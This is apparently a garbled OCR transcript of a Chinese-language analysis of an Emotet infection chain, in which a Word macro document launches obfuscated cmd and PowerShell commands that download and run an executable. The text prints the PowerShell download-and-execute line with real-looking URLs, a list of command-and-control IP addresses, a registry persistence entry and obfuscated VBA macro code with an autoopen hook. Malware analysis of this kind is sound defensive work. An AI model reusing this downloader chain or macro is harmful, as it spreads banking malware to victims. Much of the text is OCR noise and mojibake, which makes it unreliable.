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[ I =] £ Final notice [TEZ =] - Word ? ®H - O X

You are atterr

as created in an ea

click Enable Editing an:

1g to open a file th
If the file opens in Protected \

n click Enable Content

u
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cmd.exe 2 & > 2 {é f F 4§44 {7 powershell.exe ~ 462.exe ¥ symbolmsra.exe °

= £ WINWORD.EXE (3588) "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" /n "C:\Users\TEST1\Desktop\Final notice.doc" fo "u"
=58 cmd.exe (3932) c:\YNSdullicj\ToDJfRPAbGjPOVAN..\..\..\windows\system32\cmd.exe /c %ProgramData:*0,1%%ProgramData:~9,2% /V/C"set v¥=jtSVTVY|
= g cmd.exe (3672) cmD /V/C"set v¥=jtSVTVYFMNABNDCTNztS ItHrp;wfeg\XCGU@=,a6douk/qy8kORIP's)n0xi}Qh(2BAS+ : W-{v3&&for %s in (67,61,27,45,36,
powershell "$Qfg="fuC’;SPjj=new-object Net.WebClient;$pOo="http://www.khutt.org/0lz8WgN@http://www.viromedia.net/Hj@http:
B 7462.exe (1928) "C:\Users\TEST1\AppData\Local\Temp\462.exe"
=4 462.exe (3248) "C:\Users\TEST1\AppData\Local\Temp\462.exe"
ymbolmsra.exe (3972) "C:\Users\TEST1\AppData\Local\symbolmsra\symbolmsra.exe"

K] symbolmsra.exe (1384) | "C:\Users\TEST1\AppData\Local\symbolmsra\symbolmsra.exe"

«_Powershell ¢ £ 5|7 125 $5 — & e nk 55 3082 DownloadFile * = - &

AR £ SR R T SN R S

Desdription: Windows PowerShel
Company:  Microsoft Corporation

Path: c:\ \Sy 1
Command: powershell "$Qfq="fuC';$Pjj=new-object Net.WebClient; $pOo="http://t khutt, I iromedia. http: /s i com.br /KD: fu@http:/frobwalls.
User: TEST1-PC\TEST1

Kb rP v uEawhtemp TR AP £ 24 - B 462.exe T ©

Description: Windows PowerShell

Company:  Microsoft Corporation

Path: C:\Windows\SysWOWE4\Wi helllv 1.0\powershell.exe

Command:  OVRw(@http://bunonartcrafts. com/u@http: robwalls.comIf. Split{ @); SAVa='pVs'; §Bfz = '462'; 8hcF ='qrr'; SaBw=Senv: temp +'| +88f2+".exe;foreach(§tvr in §p00){try{8P.DowrloadFile(Stvr, $aBu); SzsW="YiH'If ((Get-Ttem $=
User: TEST1-PCYTESTL

Description: Windows PowerShel
Company:  Microsoft Corporation|

Path: C:Windows\SysWOWe4\WindowsPowerShel\v 1.0\powershel exe
Command: @ ='462;$hcF="qrr'; §aBw=genv:temp+'\ +6Bfz +'.exe';foreach($tvr in $p00){try{$Pii.DownloadFie(Stvr, $aBw); $zsW="YiH;If ((Get-Item $aBw).length -ge 80000) {Invoke-Ttem $aBw; $Uok="05v';break;}hcatch (1} $ULX="BuF';"
User: TEST1-PCITEST1

AR A 44 ok i SR B > 38 3L 7 powershell.exe pF € $F¢h i 41 3 B B 2P
1 IP > 4w G 5 pF 1P:95.216.44.18 ~ £ & IP:108.174.147.74 &2 &

IP:37.247.116.235 > @ #4 {7 symblomsra.exe p¥ ¢ ¥t ¢t i@ R ciB p 0 IP> H ¥ &

'
¥

R 1P:95.141.175.240 % % @ s enp 1P o
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2019/1/4 T 04:16:06 Added WINWORD.EXE TCP 192.168.195.164:1141 203.69.81.50:80
2019/1/4 T 04:16:06 Added WINWORD.EXE TCP 192.168.195.164:1142 163.28.228.10:80
2019/1/4 T 04:16:06 Added powershell.exe ~ TCP 192.168.195.164:1143 |95.216.44.18:80
2019/1/4 T 04:16:08 Added powershell.exe ~ TCP 192.168.195.164:1144 | 108.174.147.74:80
2019/1/4 T 04:16:12 Added powershell.exe ~ TCP 192.168.195.164:1145 |37.247.116.235:80
2019/1/4 T 04:16:14 Added WINWORD.EXE TCP 192.168.195.164:1146 117.18.237.29:80
2019/1/4 T 04:16:33 Added WINWORD.EXE TCP 192.168.195.164:1147 117.18.237.29:80
2019/1/4 T 04:16:33 Added symbolmsra.exe ~ TCP 192.168.195.164:1148 105.228.198.254:7080
2019/1/4 T 04:16:49 Added WINWORD.EXE TCP 192.168.195.164:1149 104.18.24.243:80
2019/1/4 T 04:16:55 Added symbolmsra.exe ~ TCP 192.168.195.164:1150 83.110.95.159:990
2019/1/4 T/ 04:16:59 Added WINWORD.EXE TCP 192.168.195.164:1151 117.18.232.200:80
2019/1/4 T 04:17:15 Added symbolmsra.exe  TCP 192.168.195.164:1152 169.0.142.82:8080
2019/1/4 T 04:17:19 Added WINWORD.EXE TCP 192.168.195.164:1153 210.65.144.177:80
2019/1/4 T 04:17:35 Added symbolmsra.exe  TCP 192.168.195.164:1154 189.152.183.239:80
2019/1/4 T 04:17:58 Added symbolmsra.exe  TCP 192.168.195.164:1155 187.205.170.3:990
2019/1/4 T/ 04:18:18 Added symbolmsra.exe  TCP 192.168.195.164:1156 85.243.49.63:80
2019/1/4 T 04:18:38 Added symbolmsra.exe  TCP 192.168.195.164:1157 105.225.199.219:80
2019/1/4 T 04:19:01 Added symbolmsra.exe  TCP 192.168.195.164:1158 189.186.19.97:50000
2019/1/4 T 04:19:21 Added symbolmsra.exe ~ TCP 192.168.195.164:1159 189.183.174.174:50000
2019/1/4 T 04:19:43 Added symbolmsra.exe  TCP 192.168.195.164:1160 89.211.243.207:80
2019/1/4 T/ 04:20:03 Added symbolmsra.exe  TCP 192.168.195.164:1161 91.236.245.65:8080
2019/1/4 T 04:20:24 Added symbolmsra.exe  TCP 192.168.195.164:1162 (95.141.175.240:443
2019/1/4 T 04:34:44 Added symbolmsra.exe  TCP 192.168.195.164:1163 (95.141.175.240:443
2019/1/4 T 04:49:24 Added symbolmsra.exe  TCP 192.168.195.164:1187 (95.141.175.240:443
2019/1/4 T 05:03:44 Added symbolmsra.exe  TCP 192.168.195.164:1216 [95.141.175.240:443

4 g TR BRIt > FRIT AR e

(1) ¥ 4 {7 powershell.exe & i 5 % IP:95.216.44.18 p¥ » 4}

a s %

http://www.khutt.org/01zZ8WgN p % @ 4 4% 1 /cgi-sys/suspendedpage.cgi °

68.195.164 - 1143, Target 95.2

6.44.18 : 80)

GET f01z8Wg¥ HTTP/1.1 A
Host: www.khntt.org
Connection: Keep-Alive

HTTP/1.1 302 Found

Date: Fri, 04 Jan 2019 0%:16:08 GNT
Server: Apache

Location: /cgi-sys/suspendedpage.cgi
Content-Length: 210

Keep-Alive: timeount=10, wax=100

Connection: Keep-Alive

Content-Type: text/html; charset=isn-8859-1
<|DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<htnl><head>

<title>302 Found</title>

</head><body>

<h1=Found</hiz

<p>The docmment has moved <a href="/cgi-sys/suspendedpage.cpi " >here</ax=.</p>
<fhody></htnl>

mwuzaogmwvmm=A

% 15 http://www.khutt.org/cgi-sys/suspendedpage.cgi & F. FF » P42 o35
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RSA Security Analytics Reconstruction for session ID: 2 ( Source 1 .195.164 : 1143, Target 95.216.44.18: 80)
Time 1 2019 16:16:09 to 1/04/2019 16:16:16  Packet 2 bytes  Payload Size 1,5

Host: www.khutt.org

GET /cgi-sys/suspendedpage.cgi HTTP/1.1 ~

HTTP/1.1 200 0K

Date: Fri, 04 Jan 2019 08:16:08 GMT
Server: hpache

Vary: ficcept-Encoding
Transfer-Encoding: chunked
Content-Typs: text/htnl

3Zb

<HTHL>

<heads=

<style>

a { font-family: arial, verdana; font-size: 14px; color: #000000; text-decoration
: none; )

a:hover { text-decoration: underline; }

body { background-color: #FFF; font-family: arial, verdana, sans-serif; font-size
: ldpx;)

.cellheader { border-top: lpx #374646 salid; border-left: lpx #374646 solid; hard
er-right: lpx #374646 solid; border-bottom: lpx #374646 solid; font-fanily: verda
na, arial; font-size: 20pt; font-weight: mormal; color: #FIFIFL; }

</style>

</head>

<hody=

<table align="center" bgcolor="F{{ff{" border="0" width="100%">

<thody>

<tr class="cellheader">

<td bgcolor="#788208">

<center»

<b>

This Account Has Been Suspended.

</b>

<l/centers

</td>

</tr>

</thodys=

</table»

<center>

Please contact the hilling/support department as soon as possible. v
</centers

muwzowwum=

(2) # # 1= powershell.exe @ i 43 £ & IP:108.174.147.74 p% > 1 v K PR E

~

RSA Security Analytics Reconstruction for session ID: 238 ( Source 192.168.195.164 : 1144, Target 108.174.147.74 - 80 )

RARER T LT FRMHB Rl § AT

Time 1/04/2019 16:16:10t0 1/ 2019 16:16:16  Packet Size 2,345 bytes  Payload Size 1,697 bytes

GET /Hj HTTP/1.1
Host: www.viromedia.net
Connection: Keep-Alive

HTTP/1.1 401 Anthorization Required

Date: Fri, 04 Jan 2019 08:16:00 GHT

Server: Apache

WY -Anthenticate: Basic realm="Restricted"
Vary: hccept-Encoding

Content-Length: 533

Keep-Alive: timeout=2, max=100

Connection: Keep-Alive

Content-Type: text/htul; charset=is0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html=<head=

<title=401 Authorization Required</title»
</head=<hody>

<hl=nthorization Required</hl=

<p>This server could not verify that wou

are anthorized to access the docunent

requasted. Either wou supplied the wrong
cradentials (e.g., bad password), or wour

browser doesn't understand how to supply

the credentials requirsd.</p>

<p>hdditionally, a 401 Authorization Required
error was encountered while trying to use an ErrorDocument to handle the request.
<fpx

</bhody=</htnl>

(3) & powershell.exe
9l.exe -

177 RE W IP37.247.116.235 F5 > € T i ph %
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RSA Security Anal

019 16

GET /uf HTTP/1.1 ~

Host: bunonartcrafts.com

HTTP/1.1 200 O

Server: nginx

Date: Fri, 04 Jan 2019 08:16:13 GHT

Content-Type: application/octet-stream
Transfer-Encoding: chunked

Connection: keep-alive

Expires: Tue, Ol Jan 1970 00:00:00 GMT
Last-Madified: Fri, 04 Jan 2019 08:16:13 GNT
Cache-Control: no-store, no-cache, must-revalidate, nax-age=0
Cache -Control: post-check=0, pre-check=0

Pragna: no-cache

Content-Disposition: attachment; filename="91.exe"
Content-Transfer-Encoding: binary

H-Povered -By: EasyEngine 3.8.1

fffg

HZ @ BE 154 !F 9! This progran cannot be run in DOS mode.

SPELIZ @0 09/00 @ Bé 3@ .textj!0ft.yb @9*@.data PAP@.CRT'n QCODETH0@E . e
locFE@00@ . rerc B0, 1o locHER

(4) % # i7 symblomsra.exe @ & 2 & & 1P:95.141.175.240 p¥ > 4= 2 s w § 5§

br B AE cR IR T L F - BRI AR A iR 5 XA ¥

GET / HTTR/1.1 A
Cookie: 54797=qU020hsfkel2Vnhvi5c/a3ceMTITCAP/t6Dnf SuEkS2 /501 rq 06220 X DwETYE ol xvF
T936V1F2RFh rx tqDQZPO1E0 02V 4a TeEQTAH08855d 3 1 sBkvR20B34z0ENGOFQBBHECK v JEz3abs tCHENY
Ogah imFGEnlghdWbTeN INkOTHz0a 1 [ATA03 tckl+yE4282g vnENBx O Ady K26 15K 22X 1a2 jh1QCkhwIH
¥sETho246w0TBEY b5 107mh rd¥uZuR 1 16k+74n0SNCANC /08 Avzxken0p I ppleqnVIPznSNFv 1k Ee
EWhctOn g rCLbL Ik lxnlWPxdZx8530 /HCnLGoStqF18hb1Bo+Qng VE 1S thx By XKy 1 Vil TheMSpli Vi gqF
EBaPoljIpZHxpqfiu3E02eliMQ3ZAul3gnMwBEQ+U TON Tnl TOqE+T sOHwHeIM 34709 hwTx+ 30l +248h 7K
G0M=
Iser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWG4; Trident/4.0
; S8LCC2; NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center

PC 6.0; .NET4.0C; .NET4.0E)

Host: 95.141.175.240:443
Connection: Keep-ilive
Cache-Control: no-cache

HTTF/1.1 200 0K

Server: nginx

Date: Fri, 04 Jan 2019 07:33:59 GHT
Content-Type: text/html; charset=UTF-&
Content-Length: 132

Coonection: keep-alive

FEIZRE % KIMERZé6 &7IE)(L~¢ T [Eule 51 c@/6-FiF ~vEl-B+R@=cV, 47
xcf IRIEU0SEREL @ha " (6 M LIRS

mwzopowmm=m

' 2

h. & g 462.exe ¥2 symbolmsra.exe = #&;% #7 e A & > 3 IR 462.exe & U L {7

i pAHPE o A symbolmsraexe 72X fi% Fof &

GagE~ MAZSBRE- =EDS - FESHE
2% EuAE

B T [57] symbolmsra.exe 2019

6. Final notice.doc ¥r symbolmsra.exe % Virustotal # g » # & % 4o :
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(1) Final notice.doc: & &+ &1 5 42/59 > @ ® 3 % RIF & M2 7 Bv AR E

Downloader = §* & -

SHAZ256: 6d503fd64 139bbee1f626acd3c70be 71618307 15b446901297 762004 2fc 9890F
WBELIE:  Final notice.doc

StrEEe:  2019-01-04 08:4743UTC (O &34g AT )

152 T

Ad-Aware WS7M.Downloader HRE

AhnLab-V3 DOC/Downloader

AlYac WS7M.Downloader. HRE

Antiy-AVL Trojan[Downloader)/MSOffice Agent.Irn
Baidu VBA Trojan-Downloader. Agent.dwt
BitDefender W97M.Downloader. HRE
CAT-QuickHeal W97M. Emotet. 33612

ClamAVY Doc.Downloader.Generic-6776294-0
Cyren W97M/Downldr.E gen!Elderado
DriWeb W97M.DownlLoader.3179

Emsisoft Trojan-Downloader. Macro.Generic L (A)
ESET-NOD32 WBATrojanDownloader Agent LRN
F-Secure W37M.Downloader HRE

GData Macro.Trojan-Downloader. Shallow.S

Ikarus Trojan-Downloader VBA Agent

McAfee W97M/Downloader!34935653BF23
McAfee-GW-Edition BehavesLike.Downloader.cg

Microsoft TrojanDownloader:097M/Donoff

eScan W97M.Downloader. HRE

Panda Q87MiDownloader

Symantec 7M.Downloader

(2) symbolmsra.exe: & & ** &1 5 55/70> % % 77 & #cdg = @ * Emotet & & v -

SHA256:  f5fdeTbBE6fBciodef2fa2fbbBcHe35825c8b10047408c6020df56261c06b0GT

HEEIE symbolmsraexe

St EHEE: 2019-01-04 08:52:02 UTC [ 0 414% AT )
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Acronis suspicious

Ad-Aware Trojan.Autoruns.GenericKD.31402830
AegisLab Trojan.Win32.Emotet.4lc

AhnLab-V3 Trojan/Win32.Emotet R248220

ALYac Trojan.Agent. Emotet

Antiy-AVL Trojan[Banker)/Win32 Emotet
CAT-QuickHeal Trojan.Emotet R6

Cyren W32/Emotet KT gen!Elderado

Driveb Trojan.DownLoader27.158661

F-Prot /Emotet KT.genlEldcrade

Ikarus Trojan-Banker. Emotet

Jiangmin Trojan Banker Emotet eop

Kaspersky Trojan-Banker Win32 Emotet buni
Malwarebytes Trojan. Emotet. Generic

McAfee Emotet-FJXICA37ACC
McAfee-GW-Edition BehavesLike Win32 Emotet.ch
Microsoft Trojan:Win32/Emotet.BF
MNANO-Antivirus Trojan. Win32 Emotet flauyi

Panda Trj/Emotet.C

Symantec Trojan.Emotet

TACHYON Banker\W32.Emotet. 135165.B1
TrendMicro TrojanSpy.Win32. EMOTET. THAE Al
TrendMicro-HouseCall TrojanSpy.Win32. EMOTET. THABAOAH
VBA32 BScope.Trejan Emotet

Webroot W32 Trojan.Emotet

Yandex Trojan. PWS.Emotet!

Zillya Trojan.Emotet Win32.9279

ZoneAlarm by Check Point Trojan-Banker.Win32.Emotet buni

T. WAL 8% Sk 4 0 % L symbolmsra.exe ¢ i 8 € 3TH 1515 p #pads o
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=} Everything é Logon '_5' Explorer ,@ Internet Explarer .j Scheduled Tasks % Services

Drivers [:] Codecs
Autorun Entry Description Image Path Timestamp
| HKCU\SOFTWARE\Microsoft\Windows\CumentVersion\Run | 2019/1/4 F4F 04:20
V| [m 1 lsymbolmsra SBY

cwuserstest 1"appdata®local \symbolmsrasymbelmsra axe 1995/11/19 T 1053

8. &

e

)

Final notice.doc erp % » F IR KE > @ ¥

Y

%% E B ¢ e’ cmd.exe

owershell.exe k4 7 E L AR T 417 5  J&E Fenfz B 7 174

) "."_'!l“\

o - AU

Function Ahjos ¢ % Word fhat 4B pF p &34 (7

21 Final notice -IJ|IU HzFrZFEt (BFE
—i)
Sub autoopen )

hjos
End Hub

& Final notice {iZISpxiMI (E=8)
—1)

Function Ahjes()

n Error Resune Next

St FUStatomnli Ul — Conlholi Pyl TjdraD
LjwhEUhiuYTRYc jwhllz = ikVnPuca gt bOHWTY)

~ Ahjos

flhInjVsfHEcwduoaFiliZ = wlyZn kulnqulloQNz / CLng(302444542) % 162471980 7 Tan{155226791) + L4ZjnuGkGFLkz0KiuPNToB - Cos(254006059) + (205431711 / Int{oROwkEBYUNj00wz))
Set. MDY 1kAVWORLE INVDEYNGE = deVszSpXUsEzFlu
sBVwg)inSiTIosEIG = FPO;DzcnKsThiZdz]

CPRWKTCERjbowr] jENTWHSC = ldrljlranEEthP / Clog(7123478) * 250950223 / Tan(300300220) + iENKlszkuP¥iMt - Cos(136482201) + (218271895 / Int(saCanzinihPSuzkindZP))
Set DlbanzZy1VqFaboitbaln = C6C1UnkalvZaulCp
hiTHNERWES 1180 = va Vel fnEjvEqh

HIYSIFEQCki] Thnk = D hetBiugt InFdbHac / CLng( 327150570} * 217612070 / Tan(105702500) + wIMGVTiNzOKndfpLiQikH - Cos(B5775646) + (206148550 / Int{cMMHhomikNESjZH jisbiha))
Set 11ighullodHatjvf = JOLrdNjahdkHEDUzm
ATKL THrAuHNFini Cr = dDAvADIWT EnZABEURUGI.

2 TYNCumtmin v IWEGheDnNY = nalllvrpiDibEgl / CLng(183223336) * 72951903 / Tan(150487548) + SOHT ikrcWewlPaRec dZCl - Cos(325818030) + (277171988 / Int{1GaQW=UZBsFOfkRrbrizhe))
Set_ wiBed jIHRIRAIT jnL = FSHY tni rjhuGHpZVibatsti
suHROwhaLnnTnFREaphs = cvakFugChih iFokeiaTzhC
dAkpnINYsczAFYINCIDTFCT = j0AERpssaZlNZ0Tngl (E4F] / CLng(311374623) * 71818218 / Tan(136366777) + piDakUSINDHHCGHIGN - Cos(207735336) + (263491448 / Int(UASPLFLEHFtaTDIX))
et MG PEENTTngEch] — abd LBecCEaiiit
PhCF2Z M jHCHPOE = kFHd00nUsallFZAim

SCECoVTzup idhihk] = meXIvDGWuVquPICSbasR £ CLng(140107637) * 325207812 / Tan(240115614) + I'fqTeVotthifvHR0=EZvk - Cos(50455245) + (110913465 / Int{iRo¥iWNEntnsQDvaRCeiMii))
Set zhCfil = TiIUsHaFrZFEt Shapes(NwoGKrr + “0il0MaglFML" + WBLubfMj) TextFrame
Set oRshrokuHEVRndwVZfIE = NluzAfGHanzthtRkaSUS
NgTiNzjbimanwbglinskZ = EvibIvNuYzLlmILctE
TewGdupt]jfiv] = wiwlro0F0dbmphzBteTFWIo / CLng(13745704) * 215624505 / Tan(122357958) + cOtZBCHndHYFF - Cos(286220635)

+ (220078109 / Int(BIALlimucDHd jwFimmg?¥))
Set voltsnVjrpdtrFPHZC = zhshbi jzzHOcTHSKCVIFT]
PrYwRPphHfwuoCanllp = Z1MwWYWNBhzfHHACCiR

TtunbahbjdwINAdNEZst = LaiQhhZzjf cHOfnObuy / CLng(250500676) * 248053663 / Tant122756333) + ALAHFATZ0jiVl - Uos{47576556) + (304181070 / Int(IizaEMwVsGuiniqsVhEaZrG))
WITIVE = ghitil Conteininghange 4 2TWIIED { bLASay 4 imit + CoiShiz + C5UFa + oty + vZinc)
MRS ELOD - o0yt R Fushi
FZGKBICAIEEINT = w1 T PI SUTE Vol
PLioDaBVVEKR 4o = iakPotlwiGr PIAKTpAAcHT / ELng(a88055376) ¥ 51110913 # Tan(326266432) + OBodtbmoTwOTVhHWIPFRERG - Cos127943726) + (183730810 / Int(EsjslqmuscullTsilphfa6))
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